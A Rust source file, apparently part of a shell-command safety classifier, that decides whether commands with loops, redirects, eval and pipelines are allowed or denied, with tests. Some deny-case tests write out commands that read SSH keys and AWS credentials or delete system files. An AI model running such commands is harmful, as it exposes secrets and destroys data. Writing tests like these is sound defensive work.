1pub(super) use super::classify_budget::ClassifyGuard;
2pub(crate) use super::classify_budget::charge_classify_work;
3pub(super) use super::scope_budget::scope_budget_spent;
4use super::scope_budget::{ScopeWalk, UNCERTAIN_VALUE, rebind_uncertain};
5use super::*;
6use crate::parse::Token;
7use crate::verdict::{SafetyLevel, Verdict};
8use crate::{handlers, pathctx::judging};
9
10pub fn command_verdict(input: &str) -> Verdict {
11 let Some(_guard) = ClassifyGuard::enter(input.len()) else {
12 return Verdict::Denied; };
14 let Some(script) = parse(input) else {
15 return Verdict::Denied;
16 };
17 let verdict = script_verdict(&script);
18 if scope_budget_spent() {
19 return Verdict::Denied; }
21 verdict
22}
23
24pub fn is_safe_command(input: &str) -> bool {
25 command_verdict(input).is_allowed()
26}
27
28thread_local! {
29 static FUNCTIONS: std::cell::RefCell<Vec<(String, Script)>> =
33 const { std::cell::RefCell::new(Vec::new()) };
34 static POISONED_FUNCS: std::cell::RefCell<Vec<String>> =
39 const { std::cell::RefCell::new(Vec::new()) };
40 static RESOLVING: std::cell::RefCell<Vec<String>> = const { std::cell::RefCell::new(Vec::new()) };
43}
44
45const MAX_FUNC_DEPTH: usize = 32;
46
47struct FuncScope;
48impl Drop for FuncScope {
49 fn drop(&mut self) {
50 FUNCTIONS.with(|f| {
51 f.borrow_mut().pop();
52 });
53 }
54}
55
56fn define_function(name: String, body: Script) -> FuncScope {
57 FUNCTIONS.with(|f| f.borrow_mut().push((name, body)));
58 FuncScope
59}
60
61pub(super) fn lookup_function(name: &str) -> Option<Script> {
62 if POISONED_FUNCS.with(|p| p.borrow().iter().any(|n| n == name)) {
63 return None; }
65 FUNCTIONS.with(|f| f.borrow().iter().rev().find(|(n, _)| n == name).map(|(_, b)| b.clone()))
66}
67
68fn poison_function(name: String) {
71 POISONED_FUNCS.with(|p| p.borrow_mut().push(name));
72}
73
74struct ResolveScope;
75impl Drop for ResolveScope {
76 fn drop(&mut self) {
77 RESOLVING.with(|r| {
78 r.borrow_mut().pop();
79 });
80 }
81}
82
83fn begin_resolving(name: &str) -> Option<ResolveScope> {
89 if !charge_classify_work(1) {
90 return None;
91 }
92 RESOLVING.with(|r| {
93 let mut stack = r.borrow_mut();
94 if stack.len() >= MAX_FUNC_DEPTH || stack.iter().any(|n| n == name) {
95 None
96 } else {
97 stack.push(name.to_string());
98 Some(ResolveScope)
99 }
100 })
101}
102
103fn script_verdict(script: &Script) -> Verdict {
104 walk_with_scope(script, |stmt| pipeline_verdict(&stmt.pipeline))
105 .into_iter()
106 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
107}
108
109pub(crate) fn walk_with_scope<T>(script: &Script, mut per_stmt: impl FnMut(&Stmt) -> T) -> Vec<T> {
121 let _walk = ScopeWalk::enter();
122 let mut running = crate::pathctx::cwd();
123 let mut _vars: Vec<crate::pathctx::VarGuard> = Vec::new();
124 let mut _funcs: Vec<FuncScope> = Vec::new();
125 let mut out = Vec::with_capacity(script.0.len());
126 for stmt in &script.0 {
127 out.push({
128 let _cwd = crate::pathctx::enter_cwd(running.clone());
129 per_stmt(stmt)
130 });
131 let effects = if scope_budget_spent() { ShellEffects::default() } else { shell_effects(&stmt.pipeline) };
132 let next = cd_target(&stmt.pipeline).and_then(|t| crate::pathctx::join_cwd(running.as_deref(), &t));
133 if next.is_some() {
134 running = next;
135 } else if effects.cwd {
136 running = Some(crate::pathctx::UNRESOLVED_CWD.to_string());
140 }
141 for (name, value) in statement_assignments(&stmt.pipeline) {
142 _vars.push(crate::pathctx::enter_var(name, value));
143 }
144 rebind_uncertain(effects.vars, &mut _vars);
148 for name in effects.funcs {
149 poison_function(name);
150 }
151 if let [Cmd::FunctionDef { name, body }] = stmt.pipeline.commands.as_slice() {
152 _funcs.push(define_function(name.clone(), body.clone()));
153 }
154 }
155 out
156}
157
158const MAX_CD_SCAN_DEPTH: usize = 16;
161
162#[derive(Default)]
175struct ShellEffects {
176 cwd: bool,
177 vars: Vec<String>,
178 funcs: Vec<String>,
179}
180
181fn shell_effects(pipeline: &Pipeline) -> ShellEffects {
183 let mut out = ShellEffects::default();
184 if let [only] = pipeline.commands.as_slice() {
185 let mut seen = Vec::new();
189 scan_effects(only, MAX_CD_SCAN_DEPTH, &mut seen, &mut out);
190 }
191 out
192}
193
194fn scan_effects(cmd: &Cmd, depth: usize, seen: &mut Vec<String>, out: &mut ShellEffects) {
195 let Some(depth) = depth.checked_sub(1) else {
196 out.cwd = true; return;
198 };
199 match cmd {
200 Cmd::Simple(s) => {
201 let Some(name) = s.words.first().map(Word::eval) else {
202 return; };
204 out.vars.extend(super::opaque::declared_names(s));
205 if name == "cd" {
206 out.cwd = true;
207 return;
208 }
209 if seen.contains(&name) {
211 return;
212 }
213 if let Some(body) = lookup_function(&name) {
214 seen.push(name);
215 scan_script_effects(&body, depth, seen, out);
216 }
217 }
218 Cmd::Subshell { .. } | Cmd::DoubleBracket { .. } | Cmd::FunctionDef { .. } => {}
220 Cmd::BraceGroup { body, .. } | Cmd::For { body, .. } => {
221 scan_script_effects(body, depth, seen, out);
222 }
223 Cmd::While { cond, body, .. } | Cmd::Until { cond, body, .. } => {
224 scan_script_effects(cond, depth, seen, out);
225 scan_script_effects(body, depth, seen, out);
226 }
227 Cmd::If { branches, else_body, .. } => {
228 for b in branches {
229 scan_script_effects(&b.cond, depth, seen, out);
230 scan_script_effects(&b.body, depth, seen, out);
231 }
232 if let Some(e) = else_body {
233 scan_script_effects(e, depth, seen, out);
234 }
235 }
236 Cmd::Case { arms, .. } => {
237 for a in arms {
238 scan_script_effects(&a.body, depth, seen, out);
239 }
240 }
241 }
242}
243
244fn scan_script_effects(script: &Script, depth: usize, seen: &mut Vec<String>, out: &mut ShellEffects) {
247 for st in &script.0 {
248 for (name, _) in statement_assignments(&st.pipeline) {
249 out.vars.push(name);
250 }
251 if let [Cmd::FunctionDef { name, .. }] = st.pipeline.commands.as_slice() {
252 out.funcs.push(name.clone());
253 }
254 if let [only] = st.pipeline.commands.as_slice() {
255 scan_effects(only, depth, seen, out);
256 }
257 }
258}
259
260fn cd_target(pipeline: &Pipeline) -> Option<String> {
263 let [Cmd::Simple(s)] = pipeline.commands.as_slice() else {
264 return None;
265 };
266 if s.words.first()?.eval() != "cd" {
267 return None;
268 }
269 s.words.iter().skip(1).map(|w| w.eval()).find(|a| !a.starts_with('-'))
270}
271
272fn read_loop_vars(cond: &Script) -> Vec<String> {
277 let [stmt] = cond.0.as_slice() else {
278 return Vec::new();
279 };
280 let [Cmd::Simple(s)] = stmt.pipeline.commands.as_slice() else {
281 return Vec::new();
282 };
283 let words: Vec<String> = s.words.iter().map(Word::eval).collect();
284 if words.first().map(String::as_str) != Some("read") {
285 return Vec::new();
286 }
287 words[1..].iter().filter(|w| !w.starts_with('-')).cloned().collect()
288}
289
290fn statement_assignments(pipeline: &Pipeline) -> Vec<(String, String)> {
295 let [Cmd::Simple(s)] = pipeline.commands.as_slice() else {
296 return Vec::new();
297 };
298 if !s.words.is_empty() {
299 return Vec::new();
300 }
301 s.env.iter().map(|(name, value)| (name.clone(), certain_value(value))).collect()
302}
303
304fn certain_value(word: &Word) -> String {
308 let raw = crate::pathctx::expand_vars(&word.eval(), false).into_owned();
309 if raw.contains('$') || is_opaque_value(&raw) { UNCERTAIN_VALUE.to_string() } else { raw }
313}
314
315pub(crate) fn is_opaque_value(raw: &str) -> bool {
319 ["__SAFE_CHAINS_CMDSUB__", "__SAFE_CHAINS_PROCSUB__", "__SAFE_CHAINS_ARITH__"]
320 .iter()
321 .any(|m| raw.contains(m))
322}
323
324#[cfg(test)]
325pub(crate) fn is_safe_script(script: &Script) -> bool {
326 script_verdict(script).is_allowed()
327}
328
329pub(crate) fn pipeline_verdict(pipeline: &Pipeline) -> Verdict {
330 let mut acc = Verdict::Allowed(SafetyLevel::Inert);
331 let (mut stream, mut items): (Option<String>, _) = (None, crate::pathctx::item_shape::UNKNOWN);
337 for (stage, cmd) in pipeline.commands.iter().enumerate() {
338 let _stdin = stream.clone().map(|r| super::opaque::enter_stdin(r, items));
339 acc = acc.combine(super::netargs::with_stdin(pipeline, stage, || cmd_verdict(cmd)));
340 items = super::opaque::stage_shape(cmd, items);
341 stream = Some(stage_output_repr(cmd, stream.as_deref()));
342 }
343 acc
344}
345
346const UNKNOWN_ITEM: &str = "/__SAFE_CHAINS_CMDSUB__";
351
352pub(super) fn stage_output_repr(cmd: &Cmd, input: Option<&str>) -> String {
357 let Cmd::Simple(s) = cmd else {
358 return UNKNOWN_ITEM.to_string();
359 };
360 let words: Vec<String> = s.words.iter().map(Word::eval).collect();
361 let Some(first) = words.first() else {
362 return UNKNOWN_ITEM.to_string();
363 };
364 let name = Token::from_raw(first.clone()).command_name().to_string();
365 let args: Vec<&str> = words[1..].iter().map(String::as_str).collect();
366 let through = || input.unwrap_or(UNKNOWN_ITEM).to_string();
367 match name.as_str() {
368 "find" | "fd" | "fdfind" if super::opaque::prints_only_paths(&args) => {
376 let roots = find_roots(&args);
377 let base = roots
378 .iter()
379 .max_by_key(|r| {
380 let (read, write) = (crate::engine::resolve::locus::read_locus(r), crate::engine::resolve::locus::write_locus(r));
381 read.max(write)
382 })
383 .copied()
384 .unwrap_or(".");
385 crate::engine::resolve::locus::traversal_item(base)
393 }
394 "ls" => {
396 if args.contains(&"-d") {
397 worst_arg_repr(&args)
398 } else {
399 "sc_item".to_string()
400 }
401 }
402 "echo" | "printf" => worst_arg_repr(&args),
404 "git" => match args.first() {
406 Some(&"ls-files") | Some(&"diff") | Some(&"status") | Some(&"grep") => "sc_item".to_string(),
407 _ => UNKNOWN_ITEM.to_string(),
408 },
409 "sort" | "uniq" | "cat" | "tac" if !reads_a_file(&args) => through(),
414 "head" | "tail" if !reads_a_file_after_count(&args) && !args.iter().any(|a| *a == "-c" || a.starts_with("--bytes")) => through(),
415 "tee" => through(),
417 _ => UNKNOWN_ITEM.to_string(),
418 }
419}
420
421fn reads_a_file(args: &[&str]) -> bool {
427 args.iter()
428 .any(|a| (!a.starts_with('-') && *a != "-") || *a == "--files0-from" || a.starts_with("--files0-from="))
429}
430
431fn reads_a_file_after_count(args: &[&str]) -> bool {
434 let mut i = 0;
435 while i < args.len() {
436 let a = args[i];
437 if matches!(a, "-n" | "-c" | "--lines" | "--bytes") {
438 i += 2; continue;
440 }
441 if a.starts_with('-') || a == "-" {
442 i += 1;
443 continue;
444 }
445 return true; }
447 false
448}
449
450fn source_ok(path: &str) -> bool {
453 crate::engine::resolve::read_content_verdict(path).is_allowed()
454}
455
456fn worst_arg_repr(args: &[&str]) -> String {
459 args.iter()
460 .filter(|a| !a.starts_with('-'))
461 .find(|a| !source_ok(a))
462 .map_or_else(|| "sc_item".to_string(), |a| (*a).to_string())
463}
464
465fn find_roots<'a>(args: &[&'a str]) -> Vec<&'a str> {
468 let mut i = 0;
469 while i < args.len() {
470 match args[i] {
471 "-H" | "-L" | "-P" => i += 1,
472 "-D" | "-O" => i += 2,
473 _ => break,
474 }
475 }
476 let mut roots = Vec::new();
477 while i < args.len() && !args[i].starts_with('-') && !matches!(args[i], "(" | "!" | ")" | ",") {
478 roots.push(args[i]);
479 i += 1;
480 }
481 if roots.is_empty() {
482 roots.push(".");
483 }
484 roots
485}
486
487pub fn is_safe_pipeline(pipeline: &Pipeline) -> bool {
488 pipeline_verdict(pipeline).is_allowed()
489}
490
491pub(crate) fn has_unsafe_syntax(cmd: &Cmd) -> bool {
492 match cmd {
493 Cmd::Simple(s) => !check_redirects(&s.redirs) || has_any_substitution(s),
494 _ => true,
495 }
496}
497
498fn has_any_substitution(cmd: &SimpleCmd) -> bool {
499 cmd.words.iter().any(has_substitution) || cmd.env.iter().any(|(_, v)| has_substitution(v))
500}
501
502pub(crate) fn normalize_for_matching(cmd: &SimpleCmd) -> Option<String> {
533 let mut parts = Vec::with_capacity(cmd.env.len() + cmd.words.len());
534 for (name, value) in &cmd.env {
535 let value = value.eval();
536 if value.chars().any(char::is_whitespace) {
537 return None;
538 }
539 parts.push(format!("{name}={value}"));
540 }
541 parts.extend(cmd.words.iter().map(|w| w.eval()));
542 Some(parts.join(" "))
543}
544
545pub(crate) fn cmd_verdict(cmd: &Cmd) -> Verdict {
546 match cmd {
547 Cmd::Simple(s) => simple_verdict(s),
548 Cmd::Subshell { body, redirs } | Cmd::BraceGroup { body, redirs } => {
549 let body_v = script_verdict(body);
550 if let Verdict::Denied = body_v {
551 return Verdict::Denied;
552 }
553 let redir_v = redirect_verdict(redirs);
554 if let Verdict::Denied = redir_v {
555 return Verdict::Denied;
556 }
557 body_v.combine(redir_v)
558 }
559 Cmd::For { var, items, body, redirs } => {
560 let redir_v = redirect_verdict(redirs);
561 if let Verdict::Denied = redir_v {
562 return Verdict::Denied;
563 }
564 let item_strs: Vec<String> = items.iter().map(Word::eval).collect();
568 let body_v = match crate::engine::resolve::loop_reprs(&item_strs) {
569 Some((read_repr, write_repr)) => {
570 let _g = super::opaque::enter_loop(var, items, read_repr, write_repr);
571 super::netargs::with_loop(var, items, body, || script_verdict(body))
572 }
573 None => script_verdict(body),
574 };
575 words_sub_verdict(items).combine(body_v).combine(redir_v)
576 }
577 Cmd::While { cond, body, redirs } | Cmd::Until { cond, body, redirs } => {
578 let redir_v = redirect_verdict(redirs);
579 if let Verdict::Denied = redir_v {
580 return Verdict::Denied;
581 }
582 let cond_v = script_verdict(cond);
583 let _binds: Vec<_> = match crate::pathctx::stdin_item_repr() {
588 Some(repr) => read_loop_vars(cond).into_iter().map(|v| super::opaque::enter_read_var(v, &repr)).collect(),
589 None => Vec::new(),
590 };
591 cond_v.combine(script_verdict(body)).combine(redir_v)
592 }
593 Cmd::If { branches, else_body, redirs } => {
594 let redir_v = redirect_verdict(redirs);
595 if let Verdict::Denied = redir_v {
596 return Verdict::Denied;
597 }
598 let mut v = redir_v;
599 for b in branches {
600 v = v.combine(script_verdict(&b.cond)).combine(script_verdict(&b.body));
601 }
602 if let Some(eb) = else_body {
603 v = v.combine(script_verdict(eb));
604 }
605 v
606 }
607 Cmd::DoubleBracket { words, redirs } => words_sub_verdict(words).combine(redirect_verdict(redirs)),
608 Cmd::Case { subject, arms, redirs } => {
612 let redir_v = redirect_verdict(redirs);
613 if let Verdict::Denied = redir_v {
614 return Verdict::Denied;
615 }
616 let mut v = redir_v.combine(word_sub_verdict(subject));
617 for arm in arms {
618 v = v.combine(words_sub_verdict(&arm.patterns)).combine(script_verdict(&arm.body));
619 }
620 v
621 }
622 Cmd::FunctionDef { .. } => Verdict::Allowed(SafetyLevel::Inert),
626 }
627}
628
629pub(crate) fn is_safe_cmd(cmd: &Cmd) -> bool {
630 cmd_verdict(cmd).is_allowed()
631}
632
633fn part_sub_verdict(part: &WordPart) -> Verdict {
634 match part {
635 WordPart::CmdSub(inner) | WordPart::ProcSub(inner) => script_verdict(inner),
636 WordPart::Backtick(raw) => command_verdict(raw),
637 WordPart::DQuote(inner) => word_sub_verdict(inner),
638 WordPart::Arith(inner) => word_sub_verdict(inner),
640 _ => Verdict::Allowed(SafetyLevel::Inert),
641 }
642}
643
644fn word_sub_verdict(word: &Word) -> Verdict {
645 word.0.iter().map(part_sub_verdict).fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
646}
647
648fn words_sub_verdict(words: &[Word]) -> Verdict {
649 words.iter().map(word_sub_verdict).fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
650}
651
652#[cfg(test)]
653pub(crate) fn word_subs_safe(word: &Word) -> bool {
654 word_sub_verdict(word).is_allowed()
655}
656
657fn simple_verdict(cmd: &SimpleCmd) -> Verdict {
658 let redir_v = redirect_verdict(&cmd.redirs);
659 if let Verdict::Denied = redir_v {
660 return Verdict::Denied;
661 }
662
663 let env_sub_v = cmd
664 .env
665 .iter()
666 .map(|(_, v)| word_sub_verdict(v))
667 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
668 let word_sub_v = words_sub_verdict(&cmd.words);
669
670 let env_name_v = cmd
680 .env
681 .iter()
682 .map(|(name, value)| crate::envvars::assignment_verdict(name, &value.eval()))
683 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
684 let sub_v = env_sub_v.combine(word_sub_v).combine(env_name_v);
685
686 if let Verdict::Denied = sub_v {
687 return Verdict::Denied;
688 }
689
690 if cmd.words.is_empty() {
691 if cmd.env.is_empty() {
692 return Verdict::Allowed(SafetyLevel::Inert);
693 }
694 return sub_v.combine(redir_v);
695 }
696
697 let name = cmd.words[0].eval();
698
699 if let Some(body) = lookup_function(&name) {
707 let Some(_resolving) = begin_resolving(&name) else {
708 return Verdict::Denied;
709 };
710 let _args: Vec<crate::pathctx::VarGuard> = cmd.words[1..]
711 .iter()
712 .enumerate()
713 .map(|(i, w)| crate::pathctx::enter_var((i + 1).to_string(), certain_value(w)))
714 .collect();
715 return sub_v.combine(super::netargs::with_args(cmd, || script_verdict(&body))).combine(redir_v);
716 }
717
718 if name == "eval" {
719 return eval_verdict(cmd).combine(sub_v).combine(redir_v);
720 }
721
722 let words: Vec<Vec<Token>> = cmd.words.iter().map(|w| w.expand().into_iter().map(Token::from_raw).collect()).collect();
725 if words.iter().all(Vec::is_empty) {
726 return Verdict::Allowed(SafetyLevel::Inert);
727 }
728 if super::opaque::smuggles_a_flag(cmd) {
729 return Verdict::Denied;
730 }
731
732 let cmd_v = super::netargs::with_args(cmd, || super::opaque::probed_verdict(cmd, &words, judging(!cmd.env.is_empty(), leaf_verdict)));
733 sub_v.combine(cmd_v).combine(redir_v)
734}
735
736fn leaf_verdict(tokens: &[Token]) -> Verdict {
740 let legacy = handlers::dispatch(tokens);
741 super::netargs::with_egress(tokens, crate::engine::bridge::engine_verdict(tokens).unwrap_or(legacy))
742}
743
744fn eval_verdict(cmd: &SimpleCmd) -> Verdict {
745 if cmd.words.len() < 2 {
746 return Verdict::Denied;
747 }
748 for arg in &cmd.words[1..] {
749 if !arg_is_eval_safe(arg) {
750 return Verdict::Denied;
751 }
752 }
753 Verdict::Allowed(SafetyLevel::Inert)
754}
755
756fn arg_is_eval_safe(word: &Word) -> bool {
757 let mut found_safe = false;
758 for part in &word.0 {
759 match part {
760 WordPart::Lit(s) | WordPart::SQuote(s) => {
761 if !s.chars().all(char::is_whitespace) {
762 return false;
763 }
764 }
765 WordPart::Escape(c) => {
766 if !c.is_whitespace() {
767 return false;
768 }
769 }
770 WordPart::CmdSub(script) => {
771 if !script_yields_eval_safe(script) {
772 return false;
773 }
774 found_safe = true;
775 }
776 WordPart::Backtick(raw) => {
777 let Some(script) = parse(raw) else {
778 return false;
779 };
780 if !script_yields_eval_safe(&script) {
781 return false;
782 }
783 found_safe = true;
784 }
785 WordPart::DQuote(inner) => {
786 if !arg_is_eval_safe(inner) {
787 return false;
788 }
789 if has_substitution(inner) {
790 found_safe = true;
791 }
792 }
793 WordPart::ProcSub(_) | WordPart::Arith(_) | WordPart::AnsiC(_) => return false,
794 }
795 }
796 found_safe
797}
798
799fn script_yields_eval_safe(script: &Script) -> bool {
800 if script.0.len() != 1 {
801 return false;
802 }
803 let stmt = &script.0[0];
804 if !matches!(stmt.op, None | Some(ListOp::Semi)) {
805 return false;
806 }
807 let pipeline = &stmt.pipeline;
808 if pipeline.bang || pipeline.commands.len() != 1 {
809 return false;
810 }
811 let Cmd::Simple(s) = &pipeline.commands[0] else {
812 return false;
813 };
814 if !s.env.is_empty() {
815 return false;
816 }
817 if redirect_verdict(&s.redirs) != Verdict::Allowed(SafetyLevel::Inert) {
823 return false;
824 }
825 for w in &s.words {
826 if !word_is_plain_literal(w) {
827 return false;
828 }
829 }
830 let tokens: Vec<Token> = s.words.iter().flat_map(|w| w.expand().into_iter().map(Token::from_raw)).collect();
831 if tokens.is_empty() {
832 return false;
833 }
834 crate::registry::is_eval_safe_invocation(&tokens)
835}
836
837fn word_is_plain_literal(word: &Word) -> bool {
850 word.0.iter().all(part_is_plain_literal)
851}
852
853fn part_is_plain_literal(part: &WordPart) -> bool {
854 match part {
855 WordPart::Lit(s) | WordPart::SQuote(s) => s.chars().all(is_bare_literal_char),
856 WordPart::Escape(c) => is_bare_literal_char(*c),
857 WordPart::DQuote(inner) => word_is_plain_literal(inner),
858 WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) | WordPart::AnsiC(_) => false,
859 }
860}
861
862fn is_bare_literal_char(c: char) -> bool {
868 c.is_ascii_alphanumeric() || matches!(c, '_' | '-' | '.' | '/' | '=')
869}
870
871pub(crate) fn check_redirects(redirs: &[Redir]) -> bool {
887 redirect_verdict(redirs).is_allowed()
888}
889
890fn is_safe_write_target(path: &str) -> bool {
897 crate::engine::resolve::write_target_verdict(path).is_allowed()
898}
899
900fn write_face(target: &Word) -> Verdict {
902 let t = target.eval();
903 if t == "/dev/null" {
904 Verdict::Allowed(SafetyLevel::Inert)
906 } else if is_safe_write_target(&t) {
907 Verdict::Allowed(SafetyLevel::SafeWrite)
908 } else {
909 Verdict::Denied
910 }
911}
912
913fn read_face(target: &Word) -> Verdict {
917 let t = target.eval();
918 if is_opaque_value(&t) { Verdict::Denied } else { crate::engine::resolve::read_content_verdict(&t) }
922}
923
924pub(crate) fn redirect_verdict(redirs: &[Redir]) -> Verdict {
925 let mut level = Verdict::Allowed(SafetyLevel::Inert);
926 for r in redirs {
927 match r {
928 Redir::Write { target, .. } => {
929 level = level.combine(word_sub_verdict(target));
930 level = level.combine(write_face(target));
931 }
932 Redir::Read { target, .. } => {
933 level = level.combine(word_sub_verdict(target));
934 level = level.combine(read_face(target));
935 }
936 Redir::ReadWrite { target, .. } => {
940 level = level.combine(word_sub_verdict(target));
941 level = level.combine(write_face(target));
942 level = level.combine(read_face(target));
943 }
944 Redir::HereStr(word) => {
945 level = level.combine(word_sub_verdict(word));
946 }
947 Redir::HereDoc { body, .. } => {
951 level = level.combine(word_sub_verdict(body));
952 }
953 Redir::DupFd { .. } => {}
954 }
955 }
956 level
957}
958
959fn has_substitution(word: &Word) -> bool {
960 word.0.iter().any(|p| match p {
961 WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => true,
962 WordPart::DQuote(inner) => has_substitution(inner),
963 _ => false,
964 })
965}
966
967#[cfg(test)]
968mod tests {
969 use super::*;
970
971 fn check(cmd: &str) -> bool {
972 is_safe_command(cmd)
973 }
974
975 #[test]
976 fn the_fuzz_input_that_exhausted_memory_is_refused_quickly_in_both_layers() {
977 let seed = String::from_utf8_lossy(include_bytes!("../../fuzz/corpus/explain_render/seed-oom-c54"));
978 let started = std::time::Instant::now();
979 assert!(!is_safe_command(&seed));
980 assert!(!crate::cst::explain(&seed).is_allowed());
981 assert!(started.elapsed() < std::time::Duration::from_secs(5), "{:?}", started.elapsed());
982 }
983
984 #[test]
985 fn many_sources_stay_cheap_and_a_plain_command_after_them_is_judged_as_before() {
986 let started = std::time::Instant::now();
987 let sourced = ". ./a; ".repeat(64) + "ls";
988 assert_eq!(is_safe_command(&sourced), is_safe_command(". ./a; ls"));
989 assert!(started.elapsed() < std::time::Duration::from_secs(5), "{:?}", started.elapsed());
990 }
991
992 #[test]
993 fn loop_variable_inherits_the_list_locus() {
994 for cmd in [
997 "for f in ./*.txt; do cat \"$f\"; done",
998 "for f in ./*.txt; do rm \"$f\"; done",
999 "for f in src/*.rs; do grep foo \"$f\"; done",
1000 "for f in ./*.log; do sed -i s/a/b/ \"$f\"; done",
1001 "for f in a b c; do cat $f.bak; done",
1002 "for x in 1 2 3; do rm $x; done",
1003 "for d in a b; do for f in $d/x; do cat $f; done; done", ] {
1005 assert!(check(cmd), "worktree loop should allow: {cmd}");
1006 }
1007 for cmd in [
1009 "for f in /etc/*; do cat $f; done",
1010 "for f in /etc/*.conf; do rm $f; done",
1011 "for f in ~/.ssh/*; do cat $f; done",
1012 "for f in $LIST; do rm $f; done",
1013 "for f in $(find / -name x); do rm -rf $f; done",
1014 "for d in ~/.ssh; do for f in $d/id_rsa; do cat $f; done; done",
1016 "for f in /etc/hosts ~/.aws/credentials; do cat $f; done",
1019 "for f in *.txt; do cat \"$f\"; done",
1022 "for f in *.txt; do rm $f; done",
1023 "for f in src/*.rs; do grep foo $f; done",
1024 "for f in -delete; do find / $f; done",
1025 "for f in -delete; do find / \"$f\"; done",
1026 ] {
1027 assert!(!check(cmd), "non-worktree loop should deny: {cmd}");
1028 }
1029 }
1030
1031 safe! {
1032 grep_foo: "grep foo file.txt",
1033 jq_key: "jq '.key' file.json",
1034 base64_d: "base64 -d",
1035 ls_la: "ls -la",
1036 wc_l: "wc -l file.txt",
1037 ps_aux: "ps aux",
1038 echo_hello: "echo hello",
1039 cat_file: "cat file.txt",
1040
1041 version_go: "go --version",
1042 version_cargo: "cargo --version",
1043 version_cargo_redirect: "cargo --version 2>&1",
1044 help_cargo: "cargo --help",
1045 help_cargo_build: "cargo build --help",
1046
1047 dev_null_echo: "echo hello > /dev/null",
1048 dev_null_stderr: "echo hello 2> /dev/null",
1049 dev_null_append: "echo hello >> /dev/null",
1050 dev_null_git_log: "git log > /dev/null 2>&1",
1051 fd_redirect_ls: "ls 2>&1",
1052 stdin_dev_null: "git log < /dev/null",
1053
1054 env_prefix: "FOO='bar baz' ls -la",
1055 env_prefix_dq: "FOO=\"bar baz\" ls -la",
1056 env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
1057
1058 subst_echo_ls: "echo $(ls)",
1059 subst_ls_pwd: "ls `pwd`",
1060 subst_nested: "echo $(echo $(ls))",
1061 subst_quoted: "echo \"$(ls)\"",
1062 assign_subst_ls: "out=$(ls)",
1063 assign_subst_git: "out=$(git status)",
1064 assign_subst_multiple: "a=$(ls) b=$(pwd)",
1065 assign_subst_backtick: "out=`ls`",
1066
1067 assign_bare_lit: "foo=bar",
1068 assign_bare_int: "x=1",
1069 assign_bare_empty: "x=",
1070 assign_bare_dq: "x=\"foo bar\"",
1071 assign_bare_sq: "x='foo bar'",
1072 assign_bare_param: "rc=$?",
1073 assign_bare_var: "x=$y",
1074 assign_bare_dollar_var_braced: "x=${y}",
1075 assign_bare_path: "PATH=/foo",
1076 assign_bare_multiple: "a=1 b=2 c=3",
1077 assign_bare_arith: "x=$((1 + 2))",
1078 assign_in_for_body: "for i in 1 2; do x=1; done",
1079 assign_rc_in_for_body: "for i in 1 2; do echo $i; rc=$?; done",
1080 assign_rc_in_while_body: "while test -f /tmp/x; do rc=$?; sleep 1; done",
1081 assign_rc_in_if_body: "if test -f foo; then rc=$?; fi",
1082 assign_then_use: "x=1; echo $x",
1083 assign_chained_with_safe: "x=1 && ls",
1084 assign_subshell: "(x=1)",
1085 assign_in_subshell_with_cmd: "(x=1; ls)",
1086
1087 loop_over_bounded_sub_write: "for f in $(fd a app/); do echo hi > $f; done",
1092 loop_over_pwd: "for f in $(pwd); do cat $f; done",
1093 loop_over_pwd_quoted: "for f in $(pwd); do cat \"$f/x\"; done",
1094 loop_over_pwd_pipeline: "for f in $(pwd | head -3); do cat $f; done",
1095
1096 case_single_arm: "case x in x) echo a;; esac",
1097 case_alternation: "case $x in a|b) ls;; *) echo n;; esac",
1098 case_paren_prefixed_pattern: "case \"$1\" in (start) ls;; (stop) pwd;; esac",
1099 case_last_arm_without_terminator: "case x in x) echo a; esac",
1100 case_empty_body: "case x in x) ;; esac",
1101 case_multiline: "case \"$1\" in\n start)\n ls -la\n ;;\n *)\n echo usage\n ;;\nesac",
1102 case_in_substitution: "echo $(case A in *) echo a;; esac)",
1103 case_nested_in_if: "if true; then case x in a) ls;; esac; fi",
1104 clobber_redirect: "ls >| out.txt",
1105 clobber_redirect_fd: "ls 1>| out.txt",
1106 readwrite_redirect: "ls <> f.txt",
1107 readwrite_redirect_devnull: "ls <> /dev/null",
1108
1109 subshell_echo: "(echo hello)",
1110 subshell_ls: "(ls)",
1111 subshell_chain: "(ls && echo done)",
1112 subshell_pipe: "(ls | grep foo)",
1113 subshell_nested: "((echo hello))",
1114 subshell_for: "(for x in 1 2; do echo $x; done)",
1115
1116 pipe_grep_head: "grep foo file.txt | head -5",
1117 pipe_cat_sort_uniq: "cat file | sort | uniq",
1118 chain_ls_echo: "ls && echo done",
1119 semicolon_ls_echo: "ls; echo done",
1120 bg_ls_echo: "ls & echo done",
1121 newline_echo_echo: "echo foo\necho bar",
1122
1123 stdin_read_from_path: "wc -l < /tmp/foo.log",
1124 stdin_read_in_subst: "while [ $(wc -l < /tmp/x) -lt 10 ]; do sleep 5; done",
1125 stdin_read_in_for_body: "for i in 1 2; do cat < /tmp/x; done",
1126
1127 here_string_grep: "grep -c , <<< 'hello,world,test'",
1128 heredoc_cat: "cat <<EOF\nhello world\nEOF",
1129 heredoc_quoted: "cat <<'EOF'\nhello\nEOF",
1130 heredoc_strip_tabs: "cat <<-EOF\n\thello\nEOF",
1131 heredoc_no_content: "cat <<EOF",
1132 heredoc_pipe: "cat <<EOF | grep hello\nhello\nEOF",
1133
1134 for_echo: "for x in 1 2 3; do echo $x; done",
1135 for_empty_body: "for x in 1 2 3; do; done",
1136 for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
1137 for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
1138 while_test: "while test -f /tmp/foo; do sleep 1; done",
1139 while_negation: "while ! test -f /tmp/done; do sleep 1; done",
1140 until_test: "until test -f /tmp/ready; do sleep 1; done",
1141 if_then_fi: "if test -f foo; then echo exists; fi",
1142 if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
1143 if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
1144 nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
